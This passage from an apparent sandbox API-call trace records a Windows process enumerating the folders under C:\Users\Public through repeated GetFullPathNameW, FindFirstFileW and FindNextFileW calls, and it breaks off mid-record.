nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3d0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e900) returned 1 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos", lpFilePart=0x0) returned 0x23 [0080.549] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\", nBufferLength=0x105, lpBuffer=0x1ca2e390, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Documents\\My Videos\\", lpFilePart=0x0) returned 0x24 [0080.549] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Documents\\My Videos\\*", lpFindFileData=0x1ca2e5a0 | out: lpFindFileData=0x1ca2e5a0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff [0080.549] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e830) returned 1 [0080.552] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0080.552] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.553] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.553] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Downloads", cAlternateFileName="DOWNLO~1")) returned 1 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.553] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.554] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.554] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads", lpFilePart=0x0) returned 0x19 [0080.555] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Downloads\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Downloads\\", lpFilePart=0x0) returned 0x1a [0080.555] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Downloads\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.555] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.556] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0080.556] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x28351f0f, ftCreationTime.dwHighDateTime=0x1ca043f, ftLastAccessTime.dwLowDateTime=0x28351f0f, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x288d31f9, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0xae, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0080.556] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.556] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.556] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0080.556] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.556] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.557] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites", lpFilePart=0x0) returned 0x19 [0080.558] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Favorites\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Favorites\\", lpFilePart=0x0) returned 0x1a [0080.558] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Favorites\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.559] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0080.559] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdae6622, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdae6622, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xaee7d305, ftLastWriteTime.dwHighDateTime=0x1ca042b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0080.559] FindClose (in: hFindFile=0x1a578ea0 | out: hFindFile=0x1a578ea0) returned 1 [0080.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e940) returned 1 [0080.559] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e930) returned 1 [0080.559] FindNextFileW (in: hFindFile=0x1a578c60, lpFindFileData=0x1ca2e740 | out: lpFindFileData=0x1ca2e740*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Libraries", cAlternateFileName="LIBRAR~1")) returned 1 [0080.559] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.560] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e430, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ca2e960) returned 1 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries", nBufferLength=0x105, lpBuffer=0x1ca2e450, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries", lpFilePart=0x0) returned 0x19 [0080.561] GetFullPathNameW (in: lpFileName="C:\\Users\\Public\\Libraries\\", nBufferLength=0x105, lpBuffer=0x1ca2e3f0, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\Public\\Libraries\\", lpFilePart=0x0) returned 0x1a [0080.561] FindFirstFileW (in: lpFileName="C:\\Users\\Public\\Libraries\\*", lpFindFileData=0x1ca2e600 | out: lpFindFileData=0x1ca2e600*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28a29e5c, ftLastAccessTime.dwHighDateTime=0x1ca043f, ftLastWriteTime.dwLowDateTime=0x28a29e5c, ftLastWriteTime.dwHighDateTime=0x1ca043f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1a578ea0 [0080.562] FindNextFileW (in: hFindFile=0x1a578ea0, lpFindFileData=0x1ca2e6e0 | out: lpFindFileData=0x1ca2e6e0*(dwFileAttributes=0x13, ftCreationTime.dwLowDateTime=0xfdb0c77c, ftCreationTime.dwHighDateTime=0x1ca0431, 